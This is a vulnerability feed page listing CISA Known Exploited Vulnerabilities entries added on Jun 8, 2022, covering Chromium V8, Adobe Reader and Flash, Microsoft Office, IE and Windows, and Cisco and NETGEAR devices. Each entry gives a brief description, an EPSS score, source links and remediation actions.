Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2019-5825
Google Chromium V8 Out-of-Bounds Write Vulnerability (Jun 8, 2022).
Google Chromium V8 Engine contains an out-of-bounds write vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 55.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-5825&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-5825: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-5825&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco RV Series Routers Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2019-15271
Cisco RV Series Routers Deserialization of Untrusted Data Vulnerability (Jun 8, 2022).
A deserialization of untrusted data vulnerability in the web-based management interface of certain Cisco Small Business RV Series Routers could allow an attacker to execute code with root privileges.
EPSS 5.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-15271&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-15271: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-15271&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Integer Overflow Vulnerability
https://kevwire.com/record/CVE-2018-6065
Google Chromium V8 Integer Overflow Vulnerability (Jun 8, 2022).
Google Chromium V8 Engine contains an integer overflow vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 60.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-6065&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-6065: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-6065&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Acrobat and Reader Double Free Vulnerability
https://kevwire.com/record/CVE-2018-4990
Adobe Acrobat and Reader Double Free Vulnerability (Jun 8, 2022).
Adobe Acrobat and Reader have a double free vulnerability that could lead to remote code execution.
EPSS 35.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-4990&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-4990: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-4990&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2018-17480
Google Chromium V8 Out-of-Bounds Write Vulnerability (Jun 8, 2022).
Google Chromium V8 Engine contains out-of-bounds write vulnerability that allows a remote attacker to execute code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 35.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-17480&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-17480: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-17480&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2018-17463
Google Chromium V8 Remote Code Execution Vulnerability (Jun 8, 2022).
Google Chromium V8 Engine contains an unspecified vulnerability that allows a remote attacker to execute code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 84.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-17463&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-17463: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-17463&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### NETGEAR Multiple Devices Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2017-6862
NETGEAR Multiple Devices Buffer Overflow Vulnerability (Jun 8, 2022).
Multiple NETGEAR devices contain a buffer overflow vulnerability that allows for authentication bypass and remote code execution.
EPSS 45.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6862&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6862: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6862&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2017-5070
Google Chromium V8 Type Confusion Vulnerability (Jun 8, 2022).
Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to execute code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 32.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-5070&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-5070: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-5070&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2017-5030
Google Chromium V8 Memory Corruption Vulnerability (Jun 8, 2022).
Google Chromium V8 Engine contains a memory corruption vulnerability that allows a remote attacker to execute code via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 40.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-5030&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-5030: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-5030&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Out-of-Bounds Memory Vulnerability
https://kevwire.com/record/CVE-2016-5198
Google Chromium V8 Out-of-Bounds Memory Vulnerability (Jun 8, 2022).
Google Chromium V8 Engine contains an out-of-bounds memory access vulnerability that allows a remote attacker to perform read/write operations, leading to code execution, via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 34.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-5198&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-5198: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-5198&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Out-of-Bounds Read Vulnerability
https://kevwire.com/record/CVE-2016-1646
Google Chromium V8 Out-of-Bounds Read Vulnerability (Jun 8, 2022).
Google Chromium V8 Engine contains an out-of-bounds read vulnerability that allows a remote attacker to cause a denial of service or possibly have another unspecified impact via crafted JavaScript code. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 48.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-1646&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-1646: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-1646&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2013-1331
Microsoft Office Buffer Overflow Vulnerability (Jun 8, 2022).
Microsoft Office contains a buffer overflow vulnerability that allows remote attackers to execute code via crafted PNG data in an Office document.
EPSS 79.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-1331&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-1331: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-1331&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Integer Overflow Vulnerability
https://kevwire.com/record/CVE-2012-5054
Adobe Flash Player Integer Overflow Vulnerability (Jun 8, 2022).
Adobe Flash Player contains an integer overflow vulnerability that allows remote attackers to execute code via malformed arguments.
EPSS 21.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-5054&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-5054: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-5054&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2012-4969
Microsoft Internet Explorer Use-After-Free Vulnerability (Jun 8, 2022).
Microsoft Internet Explorer contains a use-after-free vulnerability that allows remote attackers to execute code via a crafted web site.
EPSS 80.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-4969&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-4969: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-4969&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft XML Core Services Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2012-1889
Microsoft XML Core Services Memory Corruption Vulnerability (Jun 8, 2022).
Microsoft XML Core Services contains a memory corruption vulnerability which could allow for remote code execution.
EPSS 83.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-1889&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-1889: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-1889&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2012-0767
Adobe Flash Player Cross-Site Scripting (XSS) Vulnerability (Jun 8, 2022).
Adobe Flash Player contains a XSS vulnerability that allows remote attackers to inject web script or HTML.
EPSS 6.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-0767&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-0767: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-0767&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2012-0754
Adobe Flash Player Memory Corruption Vulnerability (Jun 8, 2022).
Adobe Flash Player contains a memory corruption vulnerability that allows remote attackers to execute code or cause denial-of-service (DoS).
EPSS 91.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-0754&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-0754: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-0754&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Authenticode Signature Verification Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2012-0151
Microsoft Windows Authenticode Signature Verification Remote Code Execution Vulnerability (Jun 8, 2022).
The Authenticode Signature Verification function in Microsoft Windows (WinVerifyTrust) does not properly validate the digest of a signed portable executable (PE) file, which allows user-assisted remote attackers to execute code.
EPSS 87.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-0151&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-0151: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-0151&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Reader and Acrobat Universal 3D Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2011-2462
Adobe Reader and Acrobat Universal 3D Memory Corruption Vulnerability (Jun 8, 2022).
The Universal 3D (U3D) component in Adobe Reader and Acrobat contains a memory corruption vulnerability which could allow remote attackers to execute code or cause denial-of-service (DoS).
EPSS 88.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-2462&date=2026-10-25).
Sources:
CISA KEV entry CVE-2011-2462: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-2462&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Unspecified Vulnerability
https://kevwire.com/record/CVE-2011-0609
Adobe Flash Player Unspecified Vulnerability (Jun 8, 2022).
Adobe Flash Player contains an unspecified vulnerability that allows remote attackers to execute code or cause denial-of-service (DoS).
EPSS 63.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-0609&date=2026-10-25).
Sources:
CISA KEV entry CVE-2011-0609: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-0609&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Acrobat and Reader Stack-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2010-2883
Adobe Acrobat and Reader Stack-Based Buffer Overflow Vulnerability (Jun 8, 2022).
Adobe Acrobat and Reader contain a stack-based buffer overflow vulnerability that allows remote attackers to execute code or cause denial-of-service (DoS).
EPSS 81.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-2883&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-2883: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-2883&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft PowerPoint Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2010-2572
Microsoft PowerPoint Buffer Overflow Vulnerability (Jun 8, 2022).
Microsoft PowerPoint contains a buffer overflow vulnerability that alllows for remote code execution.
EPSS 58.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-2572&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-2572: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-2572&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2010-1297
Adobe Flash Player Memory Corruption Vulnerability (Jun 8, 2022).
Adobe Flash Player contains a memory corruption vulnerability that allows remote attackers to execute code or cause denial-of-service (DoS).
EPSS 82.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-1297&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-1297: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-1297&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Acrobat and Reader Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2009-4324
Adobe Acrobat and Reader Use-After-Free Vulnerability (Jun 8, 2022).
Use-after-free vulnerability in Adobe Acrobat and Reader allows remote attackers to execute code via a crafted PDF file.
EPSS 81.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-4324&date=2026-10-25).
Sources:
CISA KEV entry CVE-2009-4324: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-4324&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Acrobat and Reader Universal 3D Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2009-3953
Adobe Acrobat and Reader Universal 3D Remote Code Execution Vulnerability (Jun 8, 2022).
Adobe Acrobat and Reader contains an array boundary issue in Universal 3D (U3D) support that could lead to remote code execution.
EPSS 83.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-3953&date=2026-10-25).
Sources:
CISA KEV entry CVE-2009-3953: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-3953&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Acrobat and Reader, Flash Player Unspecified Vulnerability
https://kevwire.com/record/CVE-2009-1862
Adobe Acrobat and Reader, Flash Player Unspecified Vulnerability (Jun 8, 2022).
Adobe Acrobat and Reader and Adobe Flash Player allows remote attackers to execute code or cause denial-of-service (DoS).
EPSS 21.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-1862&date=2026-10-25).
Sources:
CISA KEV entry CVE-2009-1862: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-1862&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: For Adobe Acrobat and Reader, apply updates per vendor instructions. For Adobe Flash Player, the impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
